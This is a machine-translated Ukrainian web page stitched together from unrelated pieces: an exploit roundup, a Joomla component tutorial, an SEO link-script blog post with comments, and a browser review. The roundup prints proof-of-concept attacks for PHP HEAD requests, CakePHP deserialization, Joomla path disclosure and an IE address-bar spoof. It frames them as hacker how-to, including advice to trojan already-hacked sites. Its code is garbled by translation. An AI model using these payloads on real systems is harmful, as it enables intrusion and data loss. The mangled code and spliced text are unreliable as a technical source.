Посвідчення weblinks php. Послідовність роботи (виконання) компонентів Joomla

Посвідчення weblinks php. Послідовність роботи (виконання) компонентів Joomla

У поточному місяці багокопателі не хочуть нас балувати новими гучними експлойта в популярних додатках. Звичайно, опубліковано безліч advisory в продуктах відомих фірм, але дуже мале їх кількість містить більш-менш прийнятний PoC-коди. У нашому огляді я постарався зібрати найбільш значущі і повні уразливості з описаних останнім часом, так що влаштовуйся зручніше і насолоджуйся читанням.

Уразливість PHP при обробці HTTP Head-запитів

Brief

3 березня якийсь Адам Іванюк виявив цікаву особливість в інтерпретаторі PHP, який не зовсім коректно обробляє HEAD-запити. Дану уразливість дослідник назвав «HTTP HEAD method trick in php scripts».

Багато кодери розробляють свої PHP-скрипти, сподіваючись, що всі записані в них інструкції успішно виконуватися, чи не перервалися де-небудь посередині (особливо в коротких скриптах). Так і відбувається, якщо скрипт запитується кінцевим користувачем за допомогою методів GET, POST, PUT.

Але тобі повинно бути відомо, що існують і інші HTTP-методи - наприклад, HEAD. Якраз-таки при обробці цього методу в PHP і може виникнути діра в безпеці.

Дивимося один з вихідних інтерпретатора: ./main/SAPI.c, лінія 315:

if (SG (request_info) .request_method &&
! Strcmp (SG (request_info) .request_method, "HEAD"))
{
SG (request_info) .headers_only \u003d 1;
...

Коли надходять будь-які дані, виконується функція php_ub_body_write. Далі дивимося main / output.c, лінія 699:

if (SG (request_info) .headers_only) (
if (SG (headers_sent))
{
return 0;
}
php_header (TSRMLS_C);
zend_bailout ();
}

Тут видно, що при першому виведенні на екран і при використанні методу HEAD функція zend_bailout перериває роботу скрипта.

Exploit

$ Line \u003d "Nick:" .htmlspecialchars
($ _POST [ "nick"]). "

Text: ".htmlspecialchars
($ _POST [ "text"]). "


";
$ F \u003d fopen ( "book.txt", "r");
$ Data \u003d fread ($ f, fi lesize ( "book.txt"));
fclose ($ f);
$ F \u003d fopen ( "book.txt", "w");
$ Data \u003d $ line. $ Data;
echo $ data;
fwrite ($ f, $ data);
fclose ($ f);
?>

Тепер давай звернемося до цього скрипту за допомогою методу HEAD:

stream_context_get_default
(Array ( "http" \u003d\u003e array ( "method" \u003d\u003e "HEAD")));
print_r (get_headers ( "http://site.com/guestbook.php"));
?>

Як і слід було очікувати, наша гостьова книга зупинить своє виконання на сходинці «echo $ data;», таким чином файл book.txt просто-напросто обнулится.
Даний приклад носить скоріше деструктивний характер. У другому прикладі ми зможемо обійти авторизацію в примітивній адмінки:

session_start ();
echo "A long string contains about 4090 characters";
$ _SESSION [ "admin"] \u003d 1;
if (! isset ($ _ POST [ "pass"]) ||
$ _POST [ "pass"]! \u003d "Somepassword")
{
echo " Wrong or empty password.
";
$ _SESSION [ "admin_level"] \u003d 0;
}
?>

В цьому скрипті при заході звичайними методами встановлюється адміністративна змінна в сесії. Потім, якщо користувач ввів неправильний пароль, ця змінна обнуляється і користувач не стає адміном.

Якщо ми звернемося до адмінки через HEAD, її виконання перерветься на шматку коду з «echo», таким чином адміністративна змінна не обнулится, і ми зможемо спокійно бродити по закритій частині програми. Тут треба врахувати, що в більшості веб-серверів значення буферизації виведення встановлено рівним 4096 байт, так що в робочому прикладі нам може знадобитися рядок 'A long string contains about 4090 characters'.

Exploit

  • PHP<= 5.3.5

Solution

На момент публікації огляду останньою версією PHP була версія 5.3.5. У ній немає ніяких виправлень, що стосуються даного бага, так що можу лише порадити уважно переглянути вихідні своїх скриптів на предмет непередбачених ситуацій при використанні методу HEAD.

Виконання довільного коду в CakePHP

Brief

CakePHP - це найвідоміший (більш 7 000 000 згадок в Гуглі) програмний каркас для створення веб-додатків, написаний на мові PHP і побудований на принципах відкритого ПЗ. CakePHP реалізує патерн «Модель-Вид-Контролер» (MVC).

Спочатку даний фреймворк створювався як клону популярного Ruby on Rails, багато ідей були запозичені саме звідти:

  • Своя файлова структура;
  • підтримка безлічі плагінів;
  • абстракція даних (PEAR :: DB, ADOdb і власна розробка Cake);
  • підтримка безлічі СУБД (PostgreSQL, MySQL, SQLite, Oracle).

Не дивно, що на настільки примітний програмний продукт звернено пильну увагу багатьох пентестеров. Не так давно людина під ніком felix знайшов в даному фреймворку цікавий баг, пов'язаний з чарівними методами і використанням функції unserialize (докладніше про даному класі вразливостей читай в торішніх номерах журналу).

Для початку відкриваємо компонент. / Libs / controller / components / security.php і шукаємо наступний код, який відповідає за захист від XSRFатак за допомогою POST-запитів:

function _validatePost (& $ controller)
{
...
$ Check \u003d $ controller-\u003e data;
$ Token \u003d urldecode ($ check [ "_ Token"] [ "fi elds"]);
if (strpos ($ token, ":")) (
list ($ token, $ locked) \u003d explode ( ":", $ token, 2);
}
$ Locked \u003d unserialize (str_rot13 ($ locked));
...
?>

Тут масив $ check містить наші POST-дані, а змінна $ locked - це обфусцірованная за допомогою функції str_rot13 () серіалізовані рядок, яка повністю знаходиться під нашим контролем.

На цьому місці варто зробити невеличкий відступ для тих, хто не читав відповідні статті в] [, і коротко розповісти про баг, що проявляється в чарівних методах PHP. Отже, в PHP версії 5 з'явилася базова концепція ООПпрограммірованія: конструктор і деструктор. Конструктор реалізується за допомогою методу «__construct», а деструктор - за допомогою методу «__destruct». Після закінчення своєї роботи і при виклику через функцію unserialize () кожен об'єкт виконує свій власний __ destruct-метод, якщо він прописаний в коді.

Тепер повернемося до нашого фреймворку і подивимося на деструкцію App-класу з файлу. / Libs / configure.php:

function __destruct ()
{
if ($ this -\u003e __ cache)
{
$ Core \u003d App :: core ( "cake");
unset ($ this -\u003e __ paths);
Cache :: write ( "dir_map", array_fi lter ($ this -\u003e __ paths),
"cake_core");
Cache :: write ( "fi le_map", array_fi lter ($ this -\u003e __ map),
"cake_core");
Cache :: write ( "object_map", $ this -\u003e __ objects,
"cake_core");
}
}

З наведеного коду можна зрозуміти, що даний метод може бути скомпрометований шляхом запису довільних значень в об'єкт Cache. Найцікавіший ключ для злому - це 'file_map'. Він керує зв'язками між класами і відповідними PHP-файлами, а також використовується для подгрузки додаткових класів під час виконання скрипта.

Реальний код для завантаження класів виглядає трохи складніше, але все це зводиться до наступного коду з методу __load всередині класу App:

...
if (fi le_exists ($ fi le)) (
if (! $ this-\u003e return) (
require ($ fi le);
$ This -\u003e __ loaded [$ fi le] \u003d true;
}
return true;
...
?>

Бінго! Шляхом підміни змінної $ file ми зможемо проінклудіть свій власний PHP-код! Причому це буде самий справжній Remote File Inclusion баг - таким чином, нам не знадобляться ніякі додаткові хитрощі з завантаженням локальних файлів на сервер. Однак автор знайденої уразливості пропонує LFI-варіант експлуатації цієї дірки, тому що CakePHP використовує базується на файлах локальний кеш, який знаходиться в серіалізірованной формі певною зломщику директорії.

Exploit

Як невеликий PoC для генерації отруйної серіалізовані рядки felix пропонує наступний код:

$ X \u003d new App ();
$ X -\u003e __ cache \u003d 1;
$ X -\u003e __ map \u003d array ( "Core" \u003d\u003e array (
"Router" \u003d\u003e "../tmp/cache/persistent/cake_core_fi le_map"),
"Foo" \u003d\u003e "");
$ X -\u003e __ paths \u003d array ();
$ X -\u003e __ objects \u003d array ();
echo serialize ($ x);
?>

Звичайно, попередньо ти повинен проінклудіть необхідні класи з CakePHP. Існує також і повнофункціональний експлойт на Python, знайти який ти зможеш за адресою malloc.im/burnedcake.py.

Даний сплойт повинен працювати в кожному додатку, побудованому на CakePHP, що використовує POST-форми з security-токенами, і в якому не змінено стандартне розташування файлів кеша. По дефолту експлойт виводить на екран конфиг бази даних, інші корисності легко додаються шляхом оновлено вбудованого PHP-пейлоада.

Targets

  • CakePHP<= 1.3.5, CakePHP <= 1.2.8

Solution

Для виправлення описаної уразливості необхідно всього лише завантажити останню версію використовуваної тобою гілки CakePHP з сайту виробника cakephp.org.

Розкриття шляхів і потенційні SQL-ін'єкції в Joomla!

Brief

Джумла - це система управління вмістом, написана на мовах PHP і JavaScript і використовує як сховище базу даних MySQL. Є вільним програмним забезпеченням, поширюваним під ліцензією GNU GPL.

Якщо ти не стикався у своїй хеккерской діяльності з Joomla !, то ти просто-напросто живеш на іншій планеті :). У цьому огляді я хочу розповісти відразу про двох потенційних SQL-ін'єкції в різних гілках Джумли, які залишилися непоміченими і не розкручених.

Отже, перша ін'єкція була виявлена \u200b\u200bхлопцями з YGN Ethical Hacker Group (yehg.net/lab) в движку версії 1.5.21.

Як пишуть самі ресерчери, потенційні SQL-ін'єкції були виявлені ними в Joomla! 1.5.20 в рамках дослідження на XSS. Про ці баги негайно було повідомлено команді розробників движка, які незабаром випустили «пропатченних» версію 1.5.21. Слово «пропатченних» знаходиться в лапках, оскільки девелопери закрили очі на більшу частину адвісорі команди YEHG і сподівалися на те, що ці уразливості не повністю експлуатабельни, так як Joomla! має вбудовані рядкові фільтри безпеки.

В результаті багокопателі розкрили подробиці експлуатації виявлених потенційних SQL-ін'єкцій широкому загалу, ніж ми, звичайно ж, скористаємося.
Отже, відкриваємо файл. / Components / com_weblinks / models / category.php і знаходимо в ньому наступний код:

function _buildQuery ()
{
$ Fi lter_order \u003d $ this-\u003e getState ( "fi lter_order");
$ Fi lter_order_dir \u003d $ this-\u003e getState ( "fi lter_order_dir");
$ Fi lter_order \u003d JFilterInput :: clean ($ fi lter_order, "cmd");
$ Fi lter_order_dir \u003d
JFilterInput :: clean ($ fi lter_order_dir, "word");
// We need to get a list of all
// weblinks in the given category
$ Query \u003d "SELECT *".
"FROM #__weblinks".
"WHERE catid \u003d". (Int) $ this -\u003e _ id.
"AND published \u003d 1".
"AND archived \u003d 0".
"ORDER BY". $ Fi lter_order. "".
$ Fi lter_order_dir. ", Ordering";
return $ query;
}

Тут видно, що змінні $ filter_order і $ filter_order_dir не проходять перевірку на сувору відповідність операторам SQL, перевірка йде лише шляхом використання стандартного методу clean з класу JFilterInput:

...
case "WORD":
$ Result \u003d (string) preg_replace ( "/ [^ A-Z _] / i", "", $ source);
break;
...
case "CMD":
$ Result \u003d (string)
preg_replace ( "/ [^ A-Z0-9 _.-] / i", "", $ source);
$ Result \u003d ltrim ($ result, ".");
break;
...

Таким чином, по дефолту ми отримуємо розкриття шляхів. Аналогічний баг в тих же самих змінних зовсім недавно був виявлений і в першій версії движка з нової гілки 1.6.

Exploit

По дефолту ми можемо скористатися лише розкриттям шляхів в Joomla!<= 1.5.21:

  • /index.php?option\u003dcom_weblinks&view\u003dcategory&id\u003d2&fi lter_order_Dir \u003d & fi lter_order \u003d% 00 '
  • /index.php?option\u003dcom_weblinks&view\u003dcategory&id\u003d2&fi lter_order_Dir \u003d '& fi lter_order \u003d asc

і в Joomla! 1.6.0:

  • attacker.in/joomla160/index.php/using-joomla/extensions/components/content-component/article-category-list/?fi lter_order \u003d yehg.net.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, & fi lter_order_Dir \u003d 2 & limit \u003d 3 & limitstart \u003d 4
  • attacker.in/joomla160/index.php/using-joomla/extensions/components/content-component/article-category-list/?fi lter_order \u003d 1, & fi lter_order_Dir \u003d yehg.net.BBBBBBBBBBB, & limit \u003d 3 & limitstart \u003d 4

Однак багокопателі пропонують скористатися даними багами в уже похеканних інсталяціях Джумли в контексті протрояніванія движка: тобі необхідно всього лише видалити фільтри JFilterInput :: clean у змінних filter_order_Dir і filter_order, після чого можна необмежено користуватися модифікованою вразливістю.

Також існує інформація, що якісь спритні люди все-таки змогли обійти ці горезвісні фільтри, але експлойт знаходиться в глибокому публічному чаті.

Targets

  • Joomla!<= 1.5.21, Joomla! 1.6.0

Solution

Як і завжди, не забуваємо оновлюватися з офіційного сайту розробника joomla.org. На момент написання огляду останніми версіями даної CMS були 1.5.22 і 1.6.0 відповідно.

Підміна адресного рядка в Microsoft Internet Explorer

Brief

Наостанок хочу розповісти про невеликий і вкрай забавний баг в ослику IE, який виявив хакер під ніком cyber flash. Даний баг дозволяє віддаленому користувачеві провести найпростішу спуфинг-атаку.

Уразливість існує через помилку під час оновлення панелі адресного рядка спливаючого вікна. Віддалений користувач може за допомогою спеціально сформованої веб-сторінки змусити браузер відображати тільки певну частину адреси сторінки в адресному рядку.

Exploit

Як приклад з підміною адресного рядка сам автор пропонує наступний PoC HTML-код:


content \u003d "text / html; charset \u003d windows -1252"\u003e
Spoof



Click anywhere on this page!

Також cyber flash надає нам для тестів вже готову сторінку з PoC-кодом на keyloggeronline.com/misc/temp/about.htm.

Зайшовши на цю сторінку, ми побачимо напис з посиланням, яка запрошує нас перейти на сайт bing.com. Натиснувши на посилання, ми побачимо спливаюче вікно, в адресному рядку якого буде значитися той самий Бінг. Нижче буде перебувати ще одна посилання, що закликає завантажити новий Internet Explorer (причому, навівши курсор на «Download», ми не побачимо нічого підозрілого, хоча там знаходиться не нова версія браузера, а програма-псевдотроян від Сайбер Флеша).
Таким чином, зловмисник легко зможе підсунути користувачеві Ослика зловмисний файл.

Targets

  • MS Internet Explorer 7, 8, 9

Solution

На даний момент дрібном'який все ще не виправили описану вразливість, так що, якщо ти використовуєш IE, як тимчасовий захід раджу бути уважніше з незнайомими спливаючими вікнами.

Точка входу в Joomla! компонент подібна у більшості компонентів. Для цього прикладу ми будемо використовувати один з компонентів ядра Joomla - Web Links (Посилання на сайти). Перший файл, який буде виконаний у front-end: ... / components / com_weblinks / weblinks.php.

Спочатку ми бачимо перевірку безпеки, призначену для впевненості, що ніхто не зможе викликати цю сторінку безпосередньо. Це стандарт, який повинен використовуватися у всіх ваших php-файлах (хоча є кілька винятків):

Ми перевіряємо рядок запиту, щоб подивитися, чи було відправлено певну назву контролера. Якщо так, ми переконуємося, що можемо завантажити необхідний файл в каталозі контролерів:

// Require specific controller if requested if ($ controller \u003d JRequest :: getWord ( "controller")) ($ path \u003d JPATH_COMPONENT. DS. "controllers". DS. $ controller. ".php"; if (file_exists ($ path)) (require_once $ path; ) else ($ controller \u003d "";))

Тепер ми створюємо екземпляр класу нашого контролера, використовуючи ім'я, яке визначили вище:

Як тільки завдання виконане, виробляємо редирект, якщо він потрібен:

// Redirect if set by the controller $ Controller -\u003e redirect ();

Клас контролера (Controller Class)

Загальний (характерний) контролер для компонента посилань знаходиться тут: ... / components / com_weblinks / controller.php.
Весь цей клас визначає метод display, який є використовуваним за замовчуванням, якщо користувач не визначає інше завдання (task).

defined ( "_JEXEC") or die ( "Restricted access"); jimport ( "Joomla.application.component.controller") ; / ** * Weblinks Component Controller * * @package Joomla * @subpackage Weblinks * @since 1.5 * / class WeblinksController extends JController ( / ** * Method to show a weblinks view * * @access public * @since 1.5 * / function display () ( // Set a default view if none exists if (! JRequest :: getCmd ( "view")) (JRequest :: setVar ( "view", "categories");) // update the hit count for the weblink if (JRequest :: getCmd ( "view") \u003d\u003d "weblink") ($ model \u003d & $ this -\u003e getModel ( "weblink"); $ model -\u003e hit ();) // View caching logic - simple ... are we logged in? $ User \u003d & JFactory :: getUser (); $ View \u003d JRequest :: getVar ( "view"); $ Viewcache \u003d JRequest :: getVar ( "viewcache", "1", "POST", "INT"); if ($ user -\u003e get ( "id") || ($ view \u003d\u003d "category" && $ viewcache \u003d\u003d 0)) (parent :: display (false);) else (parent :: display (true); )))

У цьому методі ми встановлюємо вид (подання) за замовчуванням: показ категорій, якщо інший вид не був переданий як параметр рядка запиту. Якщо необхідний вид - weblink, ми збільшуємо значення лічильника перегляду посилання. Потім ми встановлюємо значення змінної виду і викликаємо метод diplay нашого батьківського класу JController.
Варто звернути окрему увагу на виклик методу getModel. Він завантажує необхідну модель для компонента. У розглянутому прикладі, цей метод завантажить модель weblink, находущуюся тут: ... / components / com_weblinks / models / weblink.php.
Тут домовимося, що ми не запитували певне уявлення, і тому наш вид буде встановлений в categories.
Потім, ми відкриваємо клас уявлення.

Клас уявлення (види) (View Class)

Так як ми припускаємо, що хочемо уявлення категорій, це - наступний файл, який буде виконаний: ... / components / com_weblinks / views / categories / view.html.php

// Check to ensure this file is included in Joomla! defined ( "_JEXEC") or die ( "Restricted access"); jimport ( "Joomla.application.component.view") ; / ** * HTML View class for the WebLinks component * * @static * @package Joomla * @subpackage Weblinks * @since 1.0 * / class WeblinksViewCategories extends JView (function display ($ tpl \u003d null) (global $ mainframe; $ document \u003d & JFactory :: getDocument (); $ categories \u003d & $ this -\u003e get ( "data"); $ total \u003d & $ this -\u003e get ( "total"); $ state \u003d & $ this -\u003e get ( "state"); // Get the page / component configuration $ Params \u003d & $ mainframe -\u003e getParams (); $ Menus \u003d & JSite :: getMenu (); $ Menu \u003d $ menus -\u003e getActive (); // because the application sets a default page title, we need to get it // right from the menu item itself if (is_object ($ menu)) ($ menu_params \u003d new JParameter ($ menu -\u003e params); if (! $ menu_params -\u003e get ( "page_title")) ($ params -\u003e set ( "page_title", JText :: _ ( "Web Links"));)) else ($ params -\u003e set ( "page_title", JText :: _ ( "Web Links"));) $ document -\u003e setTitle ($ params -\u003e get ( "page_title ")); // Set some defaults if not set for params $ Params -\u003e def ( "comp_description", JText :: _ ( "WEBLINKS_DESC")); // Define image tag attributes if ($ params -\u003e get ( "image")! \u003d - 1) (if ($ params -\u003e get ( "image_align")! \u003d "") $ attribs [ "align"] \u003d $ params -\u003e get ( " image_align "); else $ attribs [" align "] \u003d" "; $ attribs [" hspace "] \u003d 6; // Use the static HTML library to build the image tag $ Image \u003d JHTML :: _ ( "image", "images / stories /". $ Params -\u003e get ( "image"), JText :: _ ( "Web Links"), $ attribs); ) For ($ i \u003d 0; $ i< count ($categories ) ; $i ++ ) { $category =& $categories [ $i ] ; $category -> link \u003d JRoute :: _ ( "Index.php? Option \u003d com_weblinks & view \u003d category & id \u003d". $ Category -\u003e slug); // Prepare category description $ Category -\u003e description \u003d JHTML :: _ ( "content.prepare", $ category -\u003e description); ) $ This -\u003e assignRef ( "image", $ image); $ This -\u003e assignRef ( "params", $ params); $ This -\u003e assignRef ( "categories", $ categories); parent :: display ($ tpl); ))?\u003e

І знову, це - дуже простий клас з одним методом display. Більша частина логіки тут є специфічною для компонента посилань, але якщо придивитися можна знайти функціональність використовувану в більшості класів уявлень компонентів. В кінці методу display цей клас викликає батьківський (JView) метод display, Передаючи назву шаблону для відображення. Якщо назва шаблону відображення не передається, використовується шаблон «default».
І в останніх, ми відкриваємо клас шаблону.

Клас шаблону (Template Class)

Домовимося що певне ім'я шаблону не було передано, таким чином буде використаний шаблон по умпочанію «default». В цьому випадку, наступний файл, який буде розглянуто: ... / components / com_weblinks / views / categories / tmpl / default.php
-\u003e escape ($ this -\u003e params -\u003e get ( "page_title")); ?\u003e

params -\u003e def ( "image", - 1)! \u003d - 1) || $ This -\u003e params -\u003e def ( "show_comp_description", 1)):?\u003e
image)): echo $ this -\u003e image; endif; echo $ this -\u003e params -\u003e get ( "comp_description"); ?\u003e
    categories as $ category):?\u003e
  • escape ($ category -\u003e title); ?\u003e ( numlinks; ?\u003e)

Велика частина логіки тут специфічна для виконуваного компонента. Також за кодом видно, що в цьому файлі весь HTML, змішаний з PHP - такі його особливість про призначення.

Інші файли, що використовуються в компонентах

Кілька з інших типів файлу Ви могли б знайти в компонентах:

  • Helpers - в компонентах часто використовується файл helper.php або каталог helpers з багатьма файлами. Ці файли зазвичай містять тільки загальні функціональні можливості для компонента.
  • Assets - це, здається, всеосяжна папка для інших файлів, що включаються в компонент.
  • router.php - цей файл використовується, при включеній налаштування SEF URL, для трансляції URL в обох напрямках (в людино-зрозумілий з псевдонімами і в системний вид Joomla з параметрами).
  • xml-файли - вони зазвичай визначають параметри і іншу інформацію про компонент, і його огляд. Вони використовуються, наприклад, при створенні пунктів меню компонента.
  • index.html - хороша практика мати порожній index.html файл у всіх ваших каталогах. Це така пасивна міра безпеки.
  • css / images / js - папки, які містять різні файли для впровадження дизайну і функціональності на стороні клієнта (в браузері).

Продовжую ділитися з вами маленькими, але дуже корисними скриптами для сайту, которире допомагають поліпшити ставлення пошукових систем до вашого сайту. На цей раз мова піде про грамотної перелинковке сторінок.

Для початку створимо базу адрес сторінок і можливі анкор до какждий з них. За базу будемо використовувати файл формату * .txt. Структура файлу буде такою:

Адрес_страніци_1; анкор_1, анкор_2, анкор_3, ..., анкор_n адрес_страніци_2; анкор_1, анкор_2, анкор_3, ..., анкор_n адрес_страніци_3; анкор_1, анкор_2, анкор_3, ..., анкор_n ... адрес_страніци_n; анкор_1, анкор_2, анкор_3, ..., анкор_n

Як бачите, подальше використання скрипта можливо при будь-якій кількості адрес сторінок і анкоров до них. Адреса сторінки пишеться без http://www.site.ru/, тобто відразу від кореня без першого слеша. Адреса раздляется від анкоров через крапка з комою, а анкор між собою просто коми. Можна зробити і написання повної адреси, просто особисто мені так зручніше, а змінити під себе заповнення і видачу результату ви можете і самі, думаю, ви інтуїтивно і самі розберетеся.

І так, база посилань і анкоров до них створена, далі я наведу приклад коду PHP для безпосереднього виведення посилань для перелинковки на сайті:

". $ Tex2 [$ tex3].""; } ?>

Вставляємо цей код в будь-яке місце на сайті, який виводить 5 випадкових посилань з бази і випадковим анкором. Анкор краще розбавляти, а не писати тільки 1 до заслання. При грамотній перелинковке на сайті ви негайно побачите приріст трафіку і поліпшення інших показників сайту.

Ви можете залишити запитання в коментарях до даного посту.

Дата публікації: 03 березня, 2014
    Відгуки та коментарі:

    Дмитро:
    Дякую за скрипт, буду впроваджувати. З вихідного коду з сайту неможливо скопіювати, копіюється тільки маленькими частинками, було б зручніше цілком.

    Кирило:
    Дякую за зауваження з копіюванням, тільки зараз це побачив, постараюся найближчим часом виправити.

    Олексій Павлов:
    Помилка в рядку $ tex \u003d explode ( ":", $ sendlist [$ count] Потрібна крапка з комою, а не двокрапка. Я трохи змінив код, зробив його зрозуміліше:$ anchor"; } ?>

    Matrk:
    Стаття повністю марна, тому що на блозі варто захист від копіювання тексту.

    Кирило:
    Невеликий косяк є в js, це так, ні часу поправити, але напевно дехто інший даремний, раз розуму не вистачає в такому випадку вихідний код сторінки глянути і взяти звідти

    Matrk:
    Тобто я повинен ще по вихідного коду лазити і чистити його від будь-якого сміття? Ви кумедний.

    Кирило:
    Виходить я комусь щось винен? Я у вас що, гроші взяв, намагаєшся тут, безкоштовні поради даєш :))) Безкоштовний сир тільки в мишоловці, з віком зрозумієте.

    Кирило:
    Прибрав косяк, користуйтеся на здоров'я.

    Андрій Копаев:
    1 - напевно краще це робити з використанням бази даних mysql працювати буде швидше, додавати простіше 2 - не зрозумію який сенс кожен раз генерувати список посилань? як це впливає на зростання трафіку? чи можна довантажувати Аяксом, тобто це для людей або для ботів?

    www.сайт:
    Для просування, хоча, особисто я не прихильник подібних маніпуляцій з ПС.

Браузер YRC Weblink створений і поширюється індійської софтверної компанією YRC Group Inc. І тому в якості домашньої сторінки за замовчуванням стоїть індійський Google :))

Індійські програмісти вважаються одними з найкрутіших в світі (після росіян і китайських :), але з цим браузером у них щось не заладилося, бо це просто свято якесь, а не браузер. Ідеї, які вони постаралися втілити в цьому браузері - прекрасні, але сама реалізація украй погана. Браузер працює "через пень-колоду", тобто дивно і погано. Спробував його на двох різних комп'ютерах - під Windows 7 і під Windows 8 - і там і там глюки і зависання.

Втім, підемо по порядку.

Після установки браузер пропонує вибрати деякі налаштування (як, наприклад, видно на скріншоті вище), а крім того - створити акаунт для хмарної синхронізації і зберігання налаштувань, закладок, заміток і файлів.

Прекрасна ідея! Тисну посилання Sign Up, що означає "Зареєструватися", відкривається сайт з веселенькими картинками, але відкривається він чомусь не в YRC Weblink, а в браузері, який стоїть на комп'ютері за замовчуванням і це перша дивина. Інша дивина полягає в тому, що потрібно вводити досить багато своїх даних - навіщо? Наприклад, в браузері Maxthon для реєстрації в хмарі потрібно ввести лише email і пароль, що набагато простіше, приємніше і не викликає зайвих питань.

Гаразд, вводжу всі ці дані. Приходить лист для підтвердження аккаунта, тисну на посилання, однак сайт повідомляє мені "Oops! - не знаходжу твоїх даних в базі". Але тут приходить ще один лист з новим посиланням, тисну на посилання в ньому і знову - Oops! Однак, в процесі цих упсов приходить третій лист і там написано - вітаємо, ваш аккаунт підтверджений! Така ось своєрідна індійська верифікація аккаунта.

Відкриваю браузер, настройки, намагаюся імпортувати закладки. Браузер в упор не бачить закладного файлу формата.html, який всі відомі мені браузери бачать, розуміють і приймають без проблем. Вводжу назву файлу вручну, тисну Імпортувати і отримую звіт - закладки успішно імпортовані!

Ось тільки куди вони успішно імпортовані ??? Ні в браузері, ні в хмарі їх немає. Повторюю операцію ще раз і той же результат. Добре проїхали. Рухаємося далі.

В хмарі і налаштуваннях є пункт Нотатки. Пам'ятаючи про замітки в браузері Maxthon, які можна створювати за допомогою вбудованого блокнота і які автматіческі зберігаються в хмарі, намагаюся знайти щось подібне в YRC Weblink, на жаль, безрезультатно. Перегляд нотаток є, а інструменту для їх створення немає. Дивно? Ще й як!

Ну ок. Дивимося, що у нас є ще. При інсталяції браузер самостійно (без дозволу) встановив на робочий стіл два ярлика - ярлик браузера (це нормально) і ярлик Твіттера.

При натисканні на цей ярлик відкривається окреме вікно браузера з Твіттером. Якого біса це робити та ще за замовчуванням? Може, я взагалі не користуюся Твіттером? Гаразд, ярлик Твіттера з робочого столу видалив, але не тут-то було! Тепер, при натисканні на ярлик браузера (а не твіттера), в панелі завдань браузер висвічується Твіттером! Такого святкового Глюка я ще в своєму житті не зустрічав!

До речі, про ці три вікнах, які ви бачите на скріншоті вище. Вікно налаштувань Summary зависає через раз. Причому так, що вирубати його можна тільки відключенням процесу в диспетчері завдань, по-іншому - ніяк. А закрити вікно синхронізації можна тільки шляхом разлогініванія в системі.

Якщо натиснути на "Ні", вікно буде постійно висіти відкритим. При тому, що сам браузер, навпаки, час від часу вимикається. І що смішно: браузер вимикається, а зависло вікно Summary і відкрите вікно Синхронізації - немає, так і висять вони безгоспні, кинуті браузером, поки не вирубаєш їх в диспетчері завдань. Феєричні глюки!

Втім, не правильно було б не перелічити і позитивні сторони браузера.

По-перше, це режим анонімного серфінгу. Включаєте в настройках цей режим і браузер не використовує кеш, куки, які не записує історію відвідувань. Є браузери, які працюють тільки в такому режимі, наприклад, Browzar, що іноді необхідно, але в цілому вкрай незручно. І можливість швидкого підключення-відключення такого режиму - великий плюс браузеру.

По-друге, в YRC Weblink є можливість вибору пошукової системи за умовчанням. Вибирати, правда, доводиться з досить специфічного списку:

Однак, адреса пошукової машини можна задати і вручну, натиснувши на копку Define New (на скріншоті її не видно, вона під списком).

Ну і останній, але дуже вагомий плюс - YRC Weblink майже не вантажить систему! Для порівняння відкрив в ньому 10 вкладок і 10 вкладок з тими ж самими адресами відкрив в Яндекс-браузері (лідера серед браузерів по завантаженню системи) і ось яка картина вийшла.

Яндекс-браузер:

Не важко здогадатися, що YRC Weblink в цьому сенсі практичес поза конкуренцією, в хорошому сенсі.


РЕЗЮМЕ. Якби всі задумки, які творці намагалися впровадити в цьому браузері, були зроблені як треба, ціни б йому не було, YRC Weblink міг би претендувати на звання кращого або, як мінімум, одного з кращих браузерів. Але з тими недоробками, які в ньому спостерігаються, він навіть на "трієчку" не тягне. Ставлю йому оцінку 3- .

Після тестування, браузер деінсталірую - мати на комп'ютері настільки глючну програму абсолютно ні до чого. Ну і чекаємо подальших кроків від YRC Group Inc. Чи зуміють індійські програмісти усунути всі недоробки і випустити дійсно робочу версію браузера, честь їм і хвала. Чи не зуміють - ще одним мертвонародженим браузером в світі буде більше.

 

 

Це цікаво: